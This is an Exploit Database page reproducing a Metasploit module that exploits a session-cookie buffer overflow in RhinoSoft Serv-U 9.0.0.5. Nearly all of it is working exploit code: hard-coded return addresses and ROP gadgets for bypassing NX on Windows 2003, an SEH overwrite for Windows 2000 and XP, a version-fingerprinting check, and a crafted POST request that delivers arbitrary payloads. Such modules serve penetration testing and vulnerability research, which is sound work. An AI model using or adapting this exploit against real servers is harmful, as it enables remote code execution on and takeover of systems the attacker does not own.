RhinoSoft Serv-U FTP Server – Session Cookie Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-03-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16775/

• ##
  # $Id: servu_session_cookie.rb 8762 2010-03-10 05:58:01Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
  				Sending a specially crafted POST request with an overly long session cookie
  				string, an attacker may be able to execute arbitrary code.
  			},
  			'Author' =>
  				[
  					'Nikolas Rangos <nikolaos[at]rangos.de>',
  					'M.Yanagishita <megumi1990[at]gmail.com>',
  					'jduck'
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 8762 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-4006' ], # unsure
  					[ 'OSVDB', '59772' ],
  					[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
  					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 512,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
  					'StackAdjustment' => -4096,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2003 SP2 English (NX)',
  						{
  							'FixESP'	=> 0x0fb02849, 	# add esp, 0x40c / ret 		@libeay32
  							'FixESI'	=> 0x78a31e96, 	# pop esi / ret			@mfc90u.dll
  							'FixEBP'	=> 0x78a4ae99, 	# push esp / pop ebp / ret 0xc 	@mfc90u.dll
  							'Ret'		=> 0x78a3e987, 	# ret 0x20			@mfc90u.dll
  							'DisableNX'	=> 0x7c83f547,	# NX Disable			@ntdll.dll
  							'JmpESP'	=> 0x78b2c753	# jmp esp			@mfc90u.dll
  						}
  					],
  
  					[ 'Windows 2000 SP4 and XP SP3 English (SEH)',
  						{
  							'Ret'	=> 0x0fb870bd		# pop pop ret			@libeay32.dll
  						}
  					],
  				],
  
  			'DefaultTarget'=> 1,
  			'DisclosureDate' => 'Nov 1 2009'))
  
  			register_options( [ Opt::RPORT(80) ], self.class )
  
  	end
  
  	def check
  		connect
  		sock.put("\r\n\r\n") # works
  		res = sock.get(-1,3)
  		disconnect
  
  		if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
  			return Exploit::CheckCode::Vulnerable
  		elsif (res =~ /Server: Serv-U/)
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		# hit end of stack..
  		sploit = Rex::Text.rand_text(1000) * 75
  
  		if (target.name =~ /NX/)
  
  			# new SEH handler (point esp into buffer)
  			sploit[41000,4] = [target['FixESP']].pack('V')
  
  			# stack frame to bypass NX
  			sploit[52+0,4] = [target['FixESI']].pack('V')
  			sploit[52+4,4] = [0x10200].pack('V')
  			sploit[52+8,4] = [target['FixEBP']].pack('V')
  			sploit[52+12,4] = [target['Ret']].pack('V')
  			sploit[52+16,4] = [target['JmpESP']].pack('V')
  			sploit[52+20,4] = [target['DisableNX']].pack('V')
  			sploit[52+24,2] = "\xeb\x20"
  			sploit[52+40,payload.encoded.length] = payload.encoded
  
  		else
  
  			seh = generate_seh_record(target.ret)
  			sploit[40996,seh.length] = seh
  			sploit[41004,payload.encoded.length] = payload.encoded
  
  		end
  
  		req ="POST / HTTP/1.1\r\n"
  		req << "Host: #{rhost}:#{rport}\r\n"
  		req << "Cookie: Session=_"
  		req << sploit.unpack('H*')[0]
  		req << "\r\n"
  		req << "\r\n";
  
  		connect
  		print_status("Trying target #{target.name}..." % target['Ret'])
  		sock.put(req)
  
  		select(nil, nil, nil, 1.5)
  		handler
  		disconnect
  	end
  
  end